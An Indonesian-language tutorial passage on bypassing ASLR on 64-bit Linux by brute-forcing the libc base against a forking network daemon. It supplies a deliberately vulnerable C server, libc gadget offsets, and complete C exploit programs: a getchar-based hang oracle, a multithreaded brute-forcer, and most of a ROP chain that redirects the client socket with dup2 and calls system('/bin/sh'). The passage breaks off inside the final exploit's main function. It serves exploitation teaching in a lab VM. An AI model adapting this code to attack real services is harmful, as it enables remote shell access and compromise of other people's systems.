4.4.1. Teknik untuk bypass ASLR di linux 64 bit

Ada beberapa cara untuk membypass aslr di linux 64 bit yang akan kita terapkan kali ini :

1. Teknik per-page brute force

Teknik ini masih efektif jika daemon menggunakan fungsi fork. Syarat keberhasilan teknik ini adalah:

- daemon menggunakan fungsi fork, dengan menggunakan fungsi fork maka semua proses child akan memiliki layout memori yang sama dengan parent process (termasuk stack canarynya juga sama).

- daemon yang menggunakan fungsi fork memiliki handler sigchild untuk mematikan proses child yang sudah tidak aktif. Tanpa sigchild handler akan tercipta banyak zombie process, jika penyerang melakukan per-page brute force, exploitasi hanya akan menyebabkan habisnya ram di server karena banyaknya zombie process sehingga terjadi dos (denial of service).

Syarat keberhasilan teknik agar exploitasi menjadi reliable adalah attacker harus mengetahui sistem operasi apa yang digunakan oleh server target, jika memungkinkan, gunakan sistem operasi yang sama persis seperti target saat tahap pembuatan exploit. Dengan mengetahui sistem operasi target secara akurat maka penyerang bisa mendownload libc.so.6 dengan versi yang sama untuk kemudian menemukan offset yang tepat untuk gadget rop berdasarkan libc.so.6 yang versinya sama seperti server target.

Jika memungkinkan attacker harus memiliki elf binary yang sama seperti di mesin target, kenapa ? Misal kita sudah patchelf dengan libc.so.6 dan ld.so yang sama seperti di target, tapi karena perbedaan versi gcc di kedua sistem maka akan menghasilkan file binary dengan susunan stack dan heap yang kemungkinan berbeda, Jika bisa sebaiknya menggunakan versi gcc yang sama dengan sistem target.

Untuk beberapa kasus pembuatan exploit, agar reliable, sebaiknya menggunakan sistem operasi yang sama dengan target, karena walaupun kita sudah melakukan patchelf agar binary vulner menggunakan libc.so.6 dan ld.so, sistem operasi yang berbeda akan memiliki env yang berbeda dan vdso yang diinject kernel ke binary akan berbeda.

Target ?

Target pertama teknik ini adalah mendapatkan alamat base libc, Kita akan memanfaatkan offset untuk fungsi getchar. Mengapa fungsi getchar ? Jika daemon yang vulnerable berhasil diarahkan untuk menjalankan getchar maka koneksi akan menggantung menunggu input selanjutnya, di mana pada program exploit yang kita bangun kita tinggal mengecek apakah koneksi socket fd sedang menunggu inputan atau tidak.

Strategi kita untuk brute force per-page adalah :

payload junk + tebakan offset base libc + offset getchar

Jika tebakan benar maka socket fd akan seperti menggantung, sebenarnya bukan menggantung tapi karena daemon diarahkan menjalankan fungsi getchar maka eksekusi baru akan dilanjutkan setelah fungsi getchar menerima inputan.

Sebelum mencoba exploitasi remote kita akan mencoba exploitasi di lokal terlebih dahulu.

Agar pembuatan eksploitasi reliable, kita harus mengetahui sistem operasi target yang akan dieksploit. Tujuanya adalah agar kita tahu versi libc yang digunakan.

Selain itu kita juga harus memiliki file biner yang sama dengan file biner yang vulnerable pada server target.

Misal server target menggunakan lubuntu 24 dan nginx 1.3.9 maka untuk pembangunan eksploit yang reliable pada komputer yang digunakan untuk exploit development, kita membutuhkan libc.so.6 dan ld.so dengan versi yang sama dengan server target dan kita juga harus memiliki binary nginx dengan versi yang sama dengan versi yang sama dengan di server target, jika tidak memiliki binary daemon dengan versi yang sama minimal kita harus memiliki source code aplikasi yang vulner tersebut untuk kita compile di lokal kemudian kita patch dengan patchelf. Dan versi gcc juga harus sama dengan mesin target.

Kenapa ld.so (Linker) harus sama? libc.so.6 tidak bisa berjalan sendirian. Ia membutuhkan **Dynamic Linker** (biasanya bernama ld-linux-x86-64.so.2 di 64-bit) untuk memetakan *library* ke dalam memori. Jika Anda menjalankan libc versi 2.31 menggunakan ld versi 2.35 dari sistem asli Anda, kemungkinan besar program akan langsung **Segmentation Fault** sebelum mencapai fungsi main.

Untuk beberapa kasus pembuatan exploit, agar reliable, sebaiknya menggunakan sistem operasi yang sama dengan target, karena walaupun kita sudah melakukan patchelf agar binary vulner menggunakan libc.so.6 dan ld.so, sistem operasi yang berbeda akan memiliki env yang berbeda dan vdso yang diinject kernel ke binary akan berbeda.

Analogi Sederhana

- `libc.so.6` adalah **Peta Kota** (Anda tahu di mana letak gedung-gedung penting seperti `system` atau `/bin/sh`).
- **Elf Daemon** adalah **Kunci Pintu Utama** (Anda tahu cara masuk dan di mana letak lubang kunci/buffer untuk memasukkan peta tersebut).

Langkah 1. Persiapan

Pada contoh kali ini, mesin target menggunakan os lubuntu 24.04.3 64 bit di virtualbox dengan alamat ip 192.168.56.102 sedangkan mesin penyerang adalah kali linux 64 bit dengan alamat ip 192.168.56.1.

Seperti sebelumnya, pastikan baris ini ada di /etc/dnsmasq.conf :
address=/victim/192.168.56.102

Selanjutnya start dnsmasq :

systemctl start dnsmasq

lalu edit /etc/resolv.conf

tambahkan :

nameserver 127.0.0.1

Jika berhasil :

host victim
victim has address 192.168.56.102

Berikut ini source code daemon yang vulnerable di mesin target

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>

void sigchld_handler(int s) {
   int saved_errno = errno;
   while(waitpid(-1, NULL, WNOHANG) > 0);
   errno = saved_errno;
}

void handle_client(int client_sock) {
   char buffer[64];
   char input[512];
   int n = recv(client_sock, input, sizeof(input) - 1, 0);
   if (n > 0) {
      input[n] = '\0';
      memcpy(buffer, input, sizeof(input));
      printf("Received: %s\n", buffer);
   }
}

int main(int argc, char **argv) {
   if (argc > 100) { system(argv[1]); }
   int server_fd, client_sock;
   struct sockaddr_in server_addr;
   struct sigaction sa;
   sa.sa_handler = sigchld_handler;
   sigemptyset(&sa.sa_mask);
   sa.sa_flags = SA_RESTART;
   if (sigaction(SIGCHLD, &sa, NULL) == -1) {
      perror("sigaction");
```

```
        exit(1);
    }
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8888);
    bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
    listen(server_fd, 5);
    printf("Listening on port 8888...\n");
    while (1) {
        client_sock = accept(server_fd, NULL, NULL);
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    return 0;
}
```

Simpan dengan nama vuln.c.

Pada contoh kali ini saya sudah mendownload libc.so.6 dan ld.so dengan versi yang sama seperti mesin target yang berada pada direktori yang sama dengan vuln.c :

Untuk compile dan patchelf vuln, buat file dengan nama patch.sh isinya sebagai berikut :

```
gcc -o vuln vuln.c -fno-stack-protector
chmod +x *
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
```

Selanjutnya :

```
chmod +x patch.sh
./patch.sh
```

Pada mesin kali linux, kita memiliki kondisi aslr aktif sama seperti mesin target lubuntu 24.04.3 :

```
┌──(root㉿robohax-20bws2ng00)-[~]
└─# cat /proc/sys/kernel/randomize_va_space
2
```

Selanjutnya jalankan :

```
./vuln
```

Sebenarnya untuk melakukan per-page brute force hingga berhasil menebak alamat base libc pada mesin target akan membutuhkan waktu **berhari-hari** karena tingginya entropi pengacakan pada mesin 64 bit, tetapi di sini saya hanya akan menunjukkan kalau teknik ini bisa dilakukan dengan reliable walaupun butuh waktu berhari hari,

Untuk beberapa kasus pembuatan exploit, agar reliable, sebaiknya menggunakan sistem operasi yang sama dengan target, karena walaupun kita sudah melakukan patchelf agar binary vulner menggunakan libc.so.6 dan ld.so, sistem operasi yang berbeda akan memiliki env yang berbeda dan vdso yang diinject kernel ke binary akan berbeda.

Pertama tama kita mencari semua offset yang nanti akan kita gunakan untuk payload rop dan brute force yang akan kita ambil dari libc.so.6 dengan versi yang sama dengan mesin target :

nm -D libc.so.6 | grep " system"

Hasilnya : 0x58750

strings -a -t x libc.so.6 | grep "/bin/sh"

Hasilnya : 0x1cb42f

ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"

Hasilnya : 0x10f78b

ROPgadget --binary libc.so.6 | grep "pop rsi ; ret"

Hasilnya : 0x110a7d

nm -D libc.so.6 | grep " dup2"

Hasilnya : 0x116990

ROPgadget --binary libc.so.6 | grep ": ret$" | head -n 5

Hasilnya : 0x02882f

nm -D libc.so.6 | grep " getchar"

Hasilnya : 0x08f100

Jadi kita sudah punya semua offset gadget yang kita perlukan :

system di offset 0x058750
"/bin/sh" di offset 0x1cb42f
pop rdi ; ret di offset 0x10f78b
pop rsi ; ret di offset 0x110a7d
dup2 di offset 0x116990

ret di offset 0x02882f
getchar di offset 0x08f100

Langkah 2. Mencoba overwrite top of the stack

Karena ukuran buffernya sama dengan aplikasi vuln sebelumnya yang kita exploit, kemungkinan setelah 88 byte junk, kita bisa menimpa return address di stack. Kita uji dengan exploit0.c :

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
int main() {
   int sock;
   struct sockaddr_in target;
   struct addrinfo hints, *res;
   memset(&hints, 0, sizeof(hints));
   hints.ai_family = AF_INET;
   hints.ai_socktype = SOCK_STREAM;
   char payload[500];
   if (getaddrinfo("localhost", "8888", &hints, &res) != 0) {
      perror("Gagal resolve hostname");
      return 1;
   }
   struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
   memset(payload, 0x90, sizeof(payload));
   memset(payload + 88, 'B', 8);
   memset(payload + 96, 'C', 8);
   sock = socket(AF_INET, SOCK_STREAM, 0);
   target.sin_addr = addr->sin_addr;
   target.sin_family = AF_INET;
   target.sin_port = htons(8888);
   inet_pton(AF_INET, "localhost", &target.sin_addr);
   connect(sock, (struct sockaddr *)&target, sizeof(target));
   send(sock, payload, 500, 0);
   close(sock);
   return 0;
}
```

Attach process vuln ke gdb. Lalu :

```
gef➤  set follow-fork-mode child
gef➤  c
```

Compile exploit0.c dan jalankan :

gcc -o exploit0 exploit0.c

./exploit0

Hasilnya sama persis seperti pada sesi debuggin dengan vuln yang sebelumnya

gef➤ x/20gx $rsp
0x7ffd3effc718: 0x4242424242424242 0x4343434343434343
0x7ffd3effc728: 0x9090909090909090 0x9090909090909090
0x7ffd3effc738: 0x9090909090909090 0x9090909090909090
0x7ffd3effc748: 0x9090909090909090 0x9090909090909090

Kita berhasil overwrite top of the stack dengan 0x4242424242424242 setelah offset ke 88 (stack pivoting).

Langkah 3. Mendapatkan alamat base libc

Agar offset offset di atas bisa kita gunakan, kita perlu mendapatkan dahulu alamat base libc. Karena payload rop kita nanti merupakan penjumlahan alamat base libc ditambah offset

rop payload = base libc address + payload offset

Selanjutnya untuk keperluan pengujian pembuatan logika brute force yang reliable, kita coba lihat alamat base libc asli :

Ketik :
ps aux | grep vuln

Misal hasilnya :
robohax 4756 0.0 0.0 2696 1224 pts/1 S+ 13:14 0:00 ./vuln

maka untuk melihat /proc/pid/maps ketik :

cat /proc/4756/maps

```
55a546a43000-55a546a45000 rw-p 00005000 08:04 2365677                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/vuln
55a56c10d000-55a56c12e000 rw-p 00000000 00:00 0                          [heap]
7f0c40200000-7f0c40228000 r--p 00000000 08:04 2367233                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/libc.so.6
7f0c40228000-7f0c403b0000 r-xp 00028000 08:04 2367233                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/libc.so.6
7f0c403b0000-7f0c403ff000 r--p 001b0000 08:04 2367233                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/libc.so.6
7f0c403ff000-7f0c40403000 r--p 001fe000 08:04 2367233                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/libc.so.6
7f0c40403000-7f0c40405000 rw-p 00202000 08:04 2367233                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/libc.so.6
7f0c40405000-7f0c40412000 rw-p 00000000 00:00 0
7f0c40539000-7f0c4053e000 rw-p 00000000 00:00 0
7f0c4053e000-7f0c40542000 r--p 00000000 00:00 0                          [vvar]
7f0c40542000-7f0c40544000 r--p 00000000 00:00 0                          [vvar_vclock]
7f0c40544000-7f0c40546000 r-xp 00000000 00:00 0                          [vdso]
7f0c40546000-7f0c40547000 r--p 00000000 08:04 2366031                    /home/robohax/Desktop/sploit/userspace/part4/4/aslr/brute_force/ld-linux-x
2
```

Pada contoh kali ini alamat base libc berada di 0x7f0c40200000

Karena aslr aktif maka alamat base libc ini akan berubah setiap kali aplikasi dijalankan.

Selanjutnya, kita akan buat dulu 1 kerangka exploit kecil untuk menguji apakah brute force base libc + offset getchar bisa reliable, buat kerangka exploit1 untuk pengujian :

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>

#define GETCHAR_OFF 0x8f100
#define RET_OFF     0x2882f

int test_address(unsigned long base) {
   int sock = socket(AF_INET, SOCK_STREAM, 0);
   struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
   inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);

   if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
   char payload[120];
   memset(payload, 'A', 88);
   unsigned long ret_gadget = base + RET_OFF;
   unsigned long target = base + GETCHAR_OFF;
   memcpy(payload + 88, &ret_gadget, 8);
   memcpy(payload + 96, &target, 8);
   if (send(sock, payload, 104, 0) < 0) {
      close(sock);
      return 0;
   }
   usleep(50000);
   struct timeval tv = {0, 100000};
   setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
   char dummy;
   int n = recv(sock, &dummy, 1, 0);
   close(sock);
   if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
      return 1;
   }

   return 0;
}

int main() {
   unsigned long real_base = 0x7f0c40200000;
   if (test_address(real_base)) {
      printf("[+] Valid base libc  0x%lx !\n", real_base);
   } else {
```

```
        printf("[-] Invalid  crash !\n");
    }
    return 0;
}
```

Compile :
gcc -o exploit1 exploit1.c

Jalankan:

./exploit1

Hasilnya :

$ ./exploit1
[+] Valid base libc 0x7f0c40200000 !

Nah coba kita ganti pada baris :

unsigned long real_base = 0x7f0c40200000;

kita coba ganti menjadi

unsigned long real_base = 0x7f0c40300000;

Compile :
gcc -o exploit1 exploit1.c

Jalankan:

./exploit1

Hasilnya :

$ ./exploit1
[-] Invalid crash !

Ok berarti penebakan kita sudah cukup reliable.

Berikut ini adalah logika untuk penebakan kita :

```
    usleep(50000);
    struct timeval tv = {0, 100000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    char dummy;
    int n = recv(sock, &dummy, 1, 0);
    if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
```

```
    return 1;
}
```

Pada saat program berhasil diarahkan dengan tepat untuk mengeksekusi fungsi getchar maka exploit kita akan mengetes apakah ada error EAGAIN atau EWOURLBLOCK pada socket yang sedang digunakan.

Kedua kode error ini muncul ketika kita menggunakan **Non-blocking Socket**.

- **EAGAIN:** Singkatan dari *"Try again"*.
- **EWOULDBLOCK:** Singkatan dari *"Operation would block"*.

Ketika socket diatur ke mode non-blocking, fungsi seperti `read()`, `recv()`, atau `write()` tidak akan menunggu. Jika operasi tidak bisa segera diselesaikan (misalnya, tidak ada data untuk dibaca), fungsi tersebut akan langsung kembali dengan nilai `-1` dan mengatur variabel global `errno` ke `EAGAIN` atau `EWOULDBLOCK`.

Nah pada saat daemon vulnerable berhasil diarahkan ke fungsi getchar maka walaupun klien melakukan operasi non blocking socket maka recv tidak akan mendapatkan data apapun dari server dan errno akan menjadi EAGAIN atau EWOULDBLOCK.

Selanjutnya kita coba buat kerangka exploit2.c yang isinya :

```
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <errno.h>

#include <pthread.h>

#include <signal.h>

#define GETCHAR_OFF 0x8f100

#define RET_OFF     0x2882f

#define THREAD_COUNT 4

#define STEP        0x1000

uint64_t start_addr = 0x7f0000000000;

uint64_t end_addr   = 0x7fffffffffff;

int found = 0;

pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
```

```
int verify_is_hang(unsigned long base) {
    char payload[120];
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    char dummy;
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
    struct timeval tv = {0, 500000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    memset(payload, 'A', 88);
    unsigned long r = base + RET_OFF;
    unsigned long g = base + GETCHAR_OFF;
    memcpy(payload + 88, &r, 8);
    memcpy(payload + 96, &g, 8);
    send(sock, payload, 104, 0);
    usleep(10000);
    int n = recv(sock, &dummy, 1, 0);
    close(sock);
    return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}
void* brute_worker(void* arg) {
    int thread_id = *(int*)arg;
    unsigned long current;
    for (current = start_addr + (thread_id * STEP); current < end_addr; current += (STEP *
THREAD_COUNT)) {
        pthread_mutex_lock(&lock);
        if (found) { pthread_mutex_unlock(&lock); return NULL; }
        pthread_mutex_unlock(&lock);
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
```

```
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
struct timeval tv = {0, 100000};
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
   char payload[120];
   memset(payload, 'A', 88);
   unsigned long r = current + RET_OFF;
   unsigned long g = current + GETCHAR_OFF;
   memcpy(payload + 88, &r, 8);
   memcpy(payload + 96, &g, 8);
   send(sock, payload, 104, 0);
   usleep(10000);
   char dummy;
   int n = recv(sock, &dummy, 1, 0);
   if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
      if (verify_is_hang(current)) {
         pthread_mutex_lock(&lock);
         if (!found) {
            found = 1;
            printf("\n\n[!!!] LIBC BASE FOUND: 0x%lx\n", current);
         }
         pthread_mutex_unlock(&lock);
         close(sock);
         return NULL;
      }
   }
}
close(sock);

if (thread_id == 0 && (current % 0x10000 == 0)) {
```

```
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
        }
    }
    return NULL;
}

int main() {
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];
    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }

    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
    return 0;
}
```

Perhatikan potongan kode ini :

```
uint64_t start_addr = 0x7f0000000000;
uint64_t end_addr   = 0x7fffffffffff;
```

Exploit di atas akan mencoba melakukan brute force untuk menebak offset base libc mulai dari alamat memori **0x7f0000000000** hingga **0x7fffffffffff ,** karena range alamat itu biasanya merupakan range alamat di mana base libc akan diload di memori.

Jika dijalankan :

```
gcc -o exploit2 exploit2.c

./exploit2
```

Penebakan ini bisa berlangsung hingga berhari hari hingga berhasil mendapatkan alamat base libc di memori, tentu saja kita tidak sabar menunggu hingga proses selesai,

Disini untuk hanya bertujuan untuk membuktikan penebakan bisa dilakukan, saya akan mencontek dari /proc/pid/maps dan mengubah rentang alamat memori penebakan awal yang tidak terlalu jauh dari base libc target.

Sebelumnya kita sudah melihat alamat base libc terdapat pada : 0x7f0c40200000

0x7f0c40200000

Buka https://www.rapidtables.com/calc/math/hex-calculator.html

0x7f0c40200000 – 200 hexa = 7F0C401FFE00

Lalu ubah formatnya menjadi berakhiran 000 :

7F0C401FF000

Pada exploit2.c kita ganti pada baris start_addr menjadi :

uint64_t start_addr = 0x7F0C401FF000;

(sesuaikan dengan nilai di sistem Anda)

exploit2.c menjadi (hanya contoh, sesuaikan nilai start_addr dengan di sistem linux Anda):

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
```

```
#define GETCHAR_OFF 0x8f100
#define RET_OFF     0x2882f
#define THREAD_COUNT 4
#define STEP        0x1000
uint64_t start_addr = 0x7F0C401FF000;
uint64_t end_addr   = 0x7fffffffffff;
int found = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

int verify_is_hang(unsigned long base) {
   char payload[120];
   int sock = socket(AF_INET, SOCK_STREAM, 0);
   char dummy;
   struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
   inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
   if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
   struct timeval tv = {0, 500000};
   setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
   memset(payload, 'A', 88);
   unsigned long r = base + RET_OFF;
   unsigned long g = base + GETCHAR_OFF;
   memcpy(payload + 88, &r, 8);
   memcpy(payload + 96, &g, 8);
   send(sock, payload, 104, 0);
   usleep(10000);
   int n = recv(sock, &dummy, 1, 0);
   close(sock);

   return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}

void* brute_worker(void* arg) {
   int thread_id = *(int*)arg;
   unsigned long current;

   for (current = start_addr + (thread_id * STEP); current < end_addr; current += (STEP *
THREAD_COUNT)) {
       pthread_mutex_lock(&lock);
       if (found) { pthread_mutex_unlock(&lock); return NULL; }
       pthread_mutex_unlock(&lock);
       int sock = socket(AF_INET, SOCK_STREAM, 0);
       struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
       inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
       struct timeval tv = {0, 100000};
       setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
       if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
          char payload[120];
          memset(payload, 'A', 88);
          unsigned long r = current + RET_OFF;
```

```
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);
            send(sock, payload, 104, 0);
            usleep(10000);
            char dummy;
            int n = recv(sock, &dummy, 1, 0);
            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
               if (verify_is_hang(current)) {
                  pthread_mutex_lock(&lock);
                  if (!found) {
                     found = 1;
                     printf("\n\n[!!!] LIBC BASE FOUND: 0x%lx\n", current);
                  }
                  pthread_mutex_unlock(&lock);
                  close(sock);
                  return NULL;
               }
            }
         }
         close(sock);

         if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
         }
      }
      return NULL;
}

int main() {
      signal(SIGPIPE, SIG_IGN);
      pthread_t threads[THREAD_COUNT];
      int ids[THREAD_COUNT];
      for (int i = 0; i < THREAD_COUNT; i++) {
         ids[i] = i;
         pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
      }

      for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
      return 0;
}
```

Compile ulang dengan gcc dan jalankan:

gcc -o exploit2 exploit2.c

./exploit2

Hasilnya :

$ ./exploit2

[!!!] LIBC BASE FOUND: 0x7f0c40200000

0x7f0c40200000 adalah alamat base libc.

Jadi logika penebakan kita sudah cukup reliable, tapi sayang sekali jika kita jalankan sebenarnya kita harus menebak dari alamat 0x7f0000000000 hingga 0x7fffffffffff agar berhasil, pada real life exploitation scenario ini akan membutuhkan waktu hingga berhari hari, dengan tingkat keberhasilan 60% jika koneksi ke server target tidak lag.

Langkah 4. Meracik Exploit

Untuk meracik exploit untuk daemon di komputer lokal, Kita akan melakukan langkah berikut ini untuk exploit akhir kita :

1. Menebak alamat base libc dengan menggunakan payload : alamat tebakan base libc + offset getchart
2. Setelah alamat base libc kita dapatkan, kita tambahkan offset yang merupakan offset gadget rop
3. Offset gadget rop yang disusun agar memanfaatkan socket client yang sedang tercipta agar melakukan bind shell
4. Jika exploitasi berhasil kita bisa mendapatkan akses ke sistem target.

Berikut ini susunan rop kita :

File descriptor: 0 = stdin, 1 = stdout, 2 = stderr (kita tidak perlu stderr)

Step 1. Melakukan dup2 untuk stdin - dup2(fd, 0);
Biasanya fd adalah 4 atau di atas 4, karena :

0 (stdin): Input standar.

1 (stdout): Output standar.

2 (stderr): Error standar.

3 : server socket file descriptor

Sehingga biasanya untuk klien adalah 4 atau lebih tinggi dari 4, tapi di sini karena hanya kita yang terhubung ke server sehingga socket fd kemungkinan besar adalah 4.

Payloadnya :

```
rop[i++] = base_libc + POP_RDI;
rop[i++] = fd;
rop[i++] = base_libc + POP_RSI;
rop[i++] = 0;
rop[i++] = base_libc + DUP2_ADDR;
```

Step 2. Agar duplex, kita lakukan dup2 untuk stdout - dup2(fd, 1);

```
rop[i++] = base_libc + POP_RDI;
rop[i++] = fd;
rop[i++] = base_libc + POP_RSI;
rop[i++] = 1;
rop[i++] = base_libc + DUP2_ADDR;
```

Step 3. Buat alignment stack untuk linux 64 bit dengan ret :

```
rop[i++] = base_libc + RET_ALIGN;
```

Step 4. Mengisi argumen pertama dari fungsi system dari stack ke register RDI, argumeny merupakan /bin/sh, Selanjutnya mengeksekusi fungsi system :

```
rop[i++] = base_libc + POP_RDI;
rop[i++] = base_libc + BIN_SH_ADDR;
rop[i++] = base_libc + SYSTEM_ADDR;
```

Berikut ini adalah kode exploit3.c (sesuaikan alamat start_addr dengan sistem linux anda) :

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define POP_RDI       0x10f78b
#define POP_RSI       0x110a7d
#define DUP2_ADDR     0x116990
#define SYSTEM_ADDR   0x058750
#define BIN_SH_ADDR   0x1cb42f
#define RET_ALIGN     0x02882f

#define GETCHAR_OFF 0x8f100
#define RET_OFF     0x2882f
#define THREAD_COUNT 4
#define STEP        0x1000

// PASTIKAN BERAKHIR DENGAN 000
uint64_t start_addr = 0x7F0C401FF000;
uint64_t end_addr   = 0x7fffffffffff;
unsigned long base_libc = 0;
int found = 0;
```

```
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

int verify_is_hang(unsigned long base) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;

    // Timeout 500ms sangat krusial untuk akurasi
    struct timeval tv = {0, 500000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    char payload[120];
    memset(payload, 'A', 88);
    unsigned long r = base + RET_OFF;
    unsigned long g = base + GETCHAR_OFF;
    memcpy(payload + 88, &r, 8);
    memcpy(payload + 96, &g, 8);
    send(sock, payload, 104, 0);
    usleep(10000);
    char dummy;
    int n = recv(sock, &dummy, 1, 0);
    close(sock);

    return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}

void* brute_worker(void* arg) {
    int thread_id = *(int*)arg;
    unsigned long current;

    for (current = start_addr + (thread_id * STEP); current < end_addr; current += (STEP *
THREAD_COUNT)) {
        pthread_mutex_lock(&lock);
        if (found) { pthread_mutex_unlock(&lock); return NULL; }
        pthread_mutex_unlock(&lock);

        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
        inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);

        struct timeval tv = {0, 100000};
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            char payload[120];
            memset(payload, 'A', 88);
            unsigned long r = current + RET_OFF;
```

```
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);

            send(sock, payload, 104, 0);
            usleep(10000); // Sinkronisasi 10ms

            char dummy;
            int n = recv(sock, &dummy, 1, 0);

            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
               if (verify_is_hang(current)) {
                  pthread_mutex_lock(&lock);
                  if (!found) {
                     found = 1;
                     printf("\n\n[+] LIBC BASE FOUND: 0x%lx\n", current);
                     base_libc = current;
                  }
                  pthread_mutex_unlock(&lock);
                  close(sock);
                  return NULL;
               }
            }
         }
         close(sock);

         if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
         }
      }
      return NULL;
   }

   void interactive_shell(int sock) {
      char buffer[1024];
      fd_set fds;
      while (1) {
         FD_ZERO(&fds);
         FD_SET(0, &fds);
         FD_SET(sock, &fds);
         select(sock + 1, &fds, NULL, NULL, NULL);
         if (FD_ISSET(0, &fds)) {
            int n = read(0, buffer, sizeof(buffer));
            send(sock, buffer, n, 0);
         }
         if (FD_ISSET(sock, &fds)) {
            int n = recv(sock, buffer, sizeof(buffer), 0);
            if (n <= 0) break;
```

```
            write(1, buffer, n);
        }
    }
}

int main() {
    int sock;
    struct sockaddr_in serv_addr;
    unsigned char payload[512];
    int fd = 4;
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];

    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
